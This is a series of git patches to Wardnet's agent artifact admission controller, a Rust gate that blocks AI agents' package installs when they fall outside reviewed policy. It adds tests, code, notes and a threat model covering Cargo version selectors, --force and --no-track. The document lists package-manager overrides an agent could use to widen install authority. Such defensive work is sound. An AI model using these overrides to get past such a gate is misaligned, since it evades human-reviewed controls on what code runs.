"cargo".to_string(), + "install".to_string(), + artifact_argument.to_string(), + version_selector.to_string(), + "--locked".to_string(), + ], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected Cargo version selector {version_selector} must not override reviewed artifact identity" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "unreviewed Cargo version selection must report artifact_not_approved" + ); + } +} + +#[test] +fn cargo_positional_package_version_must_match_reviewed_coordinate() { + let artifact_argument = "cwl-example@9.9.9"; + let policy = approved_cargo_policy("1.2.3", artifact_argument); + let intent = approved_cargo_intent( + "1.2.3", + artifact_argument, + vec![ + "cargo".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--locked".to_string(), + ], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Cargo crate@version syntax must remain semantically bound to the reviewed name/version coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "invalid_artifact"), + "coordinate/argv disagreement must fail structural artifact validation" + ); +} + +fn approved_cargo_policy(version: &str, artifact_argument: &str) -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-version-identity-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: version.to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} + +fn approved_cargo_intent( + version: &str, + artifact_argument: &str, + argv: Vec, +) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-version-identity".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: version.to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} From de5bc32b221e1a71d89f2ead41af62299062736b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:33:59 +0900 Subject: [PATCH 197/702] test(admission): align Cargo identity reason --- .../tests/cargo_version_identity_contract.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs index 71e7ca3a..349ca25d 100644 --- a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs @@ -68,8 +68,8 @@ fn cargo_positional_package_version_must_match_reviewed_coordinate() { decision .reason_codes .iter() - .any(|reason| reason.as_str() == "invalid_artifact"), - "coordinate/argv disagreement must fail structural artifact validation" + .any(|reason| reason.as_str() == "artifact_not_approved"), + "coordinate/argv disagreement must fail with artifact_not_approved" ); } From a19326641bcf23fe0fd04b44df568785fd77c582 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:34:27 +0900 Subject: [PATCH 198/702] fix(admission): bind Cargo version identity --- .../src/artifact_variant.rs | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index 28dcc54e..f8f8d303 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -5,6 +5,7 @@ use crate::InstallIntent; pub(crate) fn requests_unapproved_artifact_variant(intent: &InstallIntent) -> bool { requests_unapproved_oci_artifact_variant(intent) || requests_unapproved_pypi_artifact_variant(intent) + || requests_unapproved_cargo_artifact_variant(intent) } /// Return whether an OCI pull asks the client to expand or select artifact @@ -42,6 +43,39 @@ fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { }) } +/// Cargo accepts both `crate@version` and `--version`/`--vers` selectors. The +/// admission coordinate already carries one exact reviewed version, so the CLI +/// must encode that same identity rather than letting the caller select another. +fn requests_unapproved_cargo_artifact_variant(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "cargo" { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + if arguments + .iter() + .skip(1) + .any(|argument| matches_value_flag(argument, "--version") || matches_value_flag(argument, "--vers")) + { + return true; + } + + intent.artifacts.iter().any(|artifact| { + artifact.ecosystem == "cargo" + && artifact.artifact_argument != format!("{}@{}", artifact.name, artifact.version) + }) +} + /// Pip-compatible installers can select a wheel compatibility target or /// force/configure a source build independently of the approved name/version /// coordinate. Until policy carries that artifact/build identity, caller- From d26890854c5dc6f8c76c859655cc1fd861405fe8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:34:58 +0900 Subject: [PATCH 199/702] style(admission): format Cargo selector guard --- crates/agent-artifact-admission/src/artifact_variant.rs | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index f8f8d303..6444e23a 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -62,11 +62,9 @@ fn requests_unapproved_cargo_artifact_variant(intent: &InstallIntent) -> bool { return false; } - if arguments - .iter() - .skip(1) - .any(|argument| matches_value_flag(argument, "--version") || matches_value_flag(argument, "--vers")) - { + if arguments.iter().skip(1).any(|argument| { + matches_value_flag(argument, "--version") || matches_value_flag(argument, "--vers") + }) { return true; } From aa24fb90bec30866f7d09f89cff88c493627d380 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:35:29 +0900 Subject: [PATCH 200/702] docs(admission): trace Cargo version authority --- ...argo-install-artifact-version-authority.md | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 docs/doctoring/cargo-install-artifact-version-authority.md diff --git a/docs/doctoring/cargo-install-artifact-version-authority.md b/docs/doctoring/cargo-install-artifact-version-authority.md new file mode 100644 index 00000000..263457a2 --- /dev/null +++ b/docs/doctoring/cargo-install-artifact-version-authority.md @@ -0,0 +1,30 @@ +# Cargo install artifact-version authority + +Verified 2026-09-04 against the current Cargo Book. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for Cargo installs; it does not make Wardnet a Cargo resolver or execution authority. + +## Problem + +`InstallIntent.artifacts` and `AdmissionPolicy.approved_artifacts` already carry an exact reviewed Cargo package name, version, registry, owner, SHA-256, and argv operand. Cargo independently permits version selection through both `crate@version` operands and `--vers` / `--version`. If Wardnet accepted a bare crate operand plus a caller-selected version flag, or accepted `crate@other-version` while the reviewed coordinate named another version, the executable could select artifact bytes outside the reviewed identity even though the policy object still reported the approved version. + +## Decision + +For the current Cargo admission profile: + +- the artifact operand must be exactly `name@version` for the reviewed Cargo coordinate; +- caller-supplied `--vers` and `--version` are rejected as unapproved artifact-identity selectors; +- source, feature, target, profile, binary/example, install-root, and inline-config selectors remain separately fail-closed under their existing controls; +- Wardnet still does not fetch, build, install, or verify retrieved crate bytes. The executor remains responsible for digest/provenance verification before execution. + +This is intentionally narrower than reproducing Cargo's resolver. The admission boundary compares a submitted capability to reviewed authority and rejects alternate selection authority. + +## RED → GREEN evidence + +RED `4484acd2f7c9609ab16ddc68a748cac6cd49b51d` added hostile cases demonstrating that a reviewed `1.2.3` coordinate could otherwise be paired with `--version=9.9.9`, `--vers=9.9.9`, or a mismatched `crate@9.9.9` operand. The production repair in the current lineage routes these conditions through the existing `artifact_not_approved` fail-closed result. + +## Primary-source trace + +The Cargo Book documents the `cargo install [options] crate[@version]…` syntax and separately documents `--vers version` / `--version version` as version selectors. It states that a version with no requirement operator in MAJOR.MINOR.PATCH form installs exactly that version. This makes version selection part of artifact identity rather than an inert presentation option. + +## APA 7 reference + +Rust Project Developers. (2026). *cargo install—The Cargo Book*. Retrieved September 4, 2026, from https://doc.rust-lang.org/cargo/commands/cargo-install.html From 6fe642f454b912fb618f30849d8fb410b8b7b5a3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:39:30 +0900 Subject: [PATCH 201/702] test(admission): isolate Cargo version selector --- .../tests/cargo_version_identity_contract.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs index 349ca25d..770b317b 100644 --- a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs @@ -11,7 +11,7 @@ const ARTIFACT_SHA256: &str = #[test] fn cargo_version_selector_cannot_override_reviewed_artifact_version() { for version_selector in ["--version=9.9.9", "--vers=9.9.9"] { - let artifact_argument = "cwl-example"; + let artifact_argument = "cwl-example@1.2.3"; let policy = approved_cargo_policy("1.2.3", artifact_argument); let intent = approved_cargo_intent( "1.2.3", From 4c5883decdfb89c8197fd5183cff948d6d2b34a2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 23:59:53 +0900 Subject: [PATCH 202/702] test(admission): reject Cargo overwrite authority --- .../cargo_overwrite_authority_contract.rs | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs new file mode 100644 index 00000000..ae36e527 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs @@ -0,0 +1,93 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; + +#[test] +fn cargo_overwrite_and_tracking_overrides_require_separate_review_authority() { + // Cargo documents --force as permitting overwrite of existing crates/binaries + // and --no-track as disabling install metadata and concurrent-install protection. + // Neither side effect is represented by the approved artifact coordinate. + for unreviewed_mutation in [vec!["--force"], vec!["-f"], vec!["--no-track"]] { + let policy = approved_cargo_policy(); + let mut argv = vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]; + argv.extend( + unreviewed_mutation + .iter() + .map(|value| (*value).to_string()), + ); + let intent = approved_cargo_intent(argv); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected Cargo mutation authority {unreviewed_mutation:?} must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "overwrite/tracking authority must use the stable artifact_not_approved reason: {unreviewed_mutation:?}" + ); + } +} + +fn approved_cargo_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-overwrite-authority-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} + +fn approved_cargo_intent(argv: Vec) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-overwrite-authority".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} From 76823b8858f33655d4c4107cd2b820fd5fb2572a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:00:57 +0900 Subject: [PATCH 203/702] fix(admission): classify Cargo overwrite authority --- .../src/cargo_install_authority.rs | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 crates/agent-artifact-admission/src/cargo_install_authority.rs diff --git a/crates/agent-artifact-admission/src/cargo_install_authority.rs b/crates/agent-artifact-admission/src/cargo_install_authority.rs new file mode 100644 index 00000000..9c331529 --- /dev/null +++ b/crates/agent-artifact-admission/src/cargo_install_authority.rs @@ -0,0 +1,38 @@ +use crate::InstallIntent; + +/// Return whether a Cargo install asks for mutation authority that is not +/// represented by the reviewed artifact coordinate. +pub(crate) fn requests_unapproved_cargo_install_mutation(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "cargo" + || !intent + .argv + .get(1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + intent.argv.iter().skip(2).any(|argument| { + matches_cli_flag(argument, "-f") + || matches_cli_flag(argument, "--force") + || matches_cli_flag(argument, "--no-track") + }) +} + +fn matches_cli_flag(argument: &str, flag: &str) -> bool { + if argument == flag { + return true; + } + let Some(suffix) = argument.strip_prefix(flag) else { + return false; + }; + suffix.starts_with('=') || (is_short_cli_flag(flag) && !suffix.is_empty()) +} + +fn is_short_cli_flag(flag: &str) -> bool { + let bytes = flag.as_bytes(); + bytes.len() == 2 && bytes[0] == b'-' && bytes[1] != b'-' +} From c35f646db12104bcd8bc63c5773c0c62621ccc34 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:01:15 +0900 Subject: [PATCH 204/702] fix(admission): fail closed on Cargo overwrite authority --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 8e21fd77..73f64c73 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -3,6 +3,7 @@ mod admission; mod artifact_variant; mod audit; +mod cargo_install_authority; mod config; mod dependency_cardinality; mod http; @@ -36,6 +37,12 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if cargo_install_authority::requests_unapproved_cargo_install_mutation(intent) { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if dependency_cardinality::misses_exact_dependency_set_guard(intent) { if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); From 46fae7c3ed4148c2a3b9df723837f0605f0ce8ca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:01:51 +0900 Subject: [PATCH 205/702] docs(security): trace Cargo overwrite authority --- .../cargo-install-overwrite-authority.md | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 docs/doctoring/cargo-install-overwrite-authority.md diff --git a/docs/doctoring/cargo-install-overwrite-authority.md b/docs/doctoring/cargo-install-overwrite-authority.md new file mode 100644 index 00000000..6459d9d5 --- /dev/null +++ b/docs/doctoring/cargo-install-overwrite-authority.md @@ -0,0 +1,34 @@ +# Cargo install overwrite and tracking authority + +Verified 2026-09-04 against the current Cargo Book. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for Cargo mutation semantics; it does not make Wardnet an installer or filesystem authority. + +## Problem + +A reviewed Cargo artifact coordinate authorizes one exact package identity. It does not authorize the caller to widen the install's mutation semantics after review. Cargo documents `-f` / `--force` as authority to overwrite existing crates or binaries, including binaries owned by another package. Cargo also documents `--no-track` as disabling installed-package metadata and Cargo's protection against concurrent install invocations. Those effects can overwrite an existing executable or remove collision/concurrency safeguards without changing the submitted package coordinate. + +For an agent-facing pre-execution admission boundary, treating those switches as ordinary presentation flags would let untrusted argv acquire filesystem mutation authority absent from the reviewed policy. + +## Decision + +For the current Cargo admission profile: + +- caller-supplied `-f` / `--force` fails closed as `artifact_not_approved`; +- caller-supplied `--no-track` fails closed as `artifact_not_approved`; +- the rule applies only to `cargo install`; other Cargo commands remain outside the supported command grammar; +- Wardnet does not decide which existing binary may be replaced, manage the Cargo install root, execute Cargo, or provide runtime concurrency isolation. Any future overwrite/metadata exception requires an explicit versioned policy capability and downstream executor controls. + +The existing exact package/version/source/build/install-root controls remain independent. This rule adds no Cargo resolver behavior; it simply prevents the caller from adding destructive or tracking-bypass authority that is absent from the reviewed intent. + +## RED → GREEN evidence + +RED `4c5883decdfb89c8197fd5183cff948d6d2b34a2` adds hostile `--force`, `-f`, and `--no-track` requests to the approved Cargo-install contract. The pre-repair evaluator had no rule that classified those switches as unreviewed authority. The production repair is split into helper introduction `76823b8858f33655d4c4107cd2b820fd5fb2572a` and admission wiring `c35f646db12104bcd8bc63c5773c0c62621ccc34`, which routes all three forms through the existing `artifact_not_approved` fail-closed result. + +Repository-hosted execution remains required on the exact current head because the organization runner control plane is presently queue-starved; predecessor check conclusions do not transfer. + +## Primary-source trace + +The Cargo Book states that `-f` / `--force` forces overwriting existing crates or binaries and can be used when another package already installed a binary with the same name. It also states that `--no-track` disables the installed-package metadata file and Cargo's ability to protect against multiple concurrent install invocations. Both therefore alter mutation/collision semantics rather than merely formatting output. + +## APA 7 reference + +Rust Project Developers. (2026). *cargo install—The Cargo Book*. Retrieved September 4, 2026, from https://doc.rust-lang.org/cargo/commands/cargo-install.html From a13afe2cf5f817eee33bd8296baafbd4cc09bb25 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:02:08 +0900 Subject: [PATCH 206/702] docs(changelog): record Cargo overwrite guard --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c4c10800..5f4179c2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared PyPI dependency resolution: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs require both `--ignore-scripts` and `--ignore-pnpmfile`; admitted pip, pip3, and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. - Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. @@ -15,5 +16,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 213987c2a5a67bccd4f5819a2236819936a4dc29 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:02:33 +0900 Subject: [PATCH 207/702] docs(security): model Cargo overwrite authority --- docs/security/agent-artifact-admission-threat-model.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 99ced548..52c0d395 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -6,7 +6,7 @@ A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -16,11 +16,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, or decrypt images; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/dependency-cardinality/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, decrypt images, or decide filesystem overwrite authority; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/destructive-mutation/dependency-cardinality/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. ## Primary references @@ -38,9 +38,9 @@ SHA-256 equality proves byte identity only when the execution path independently - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs - pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. 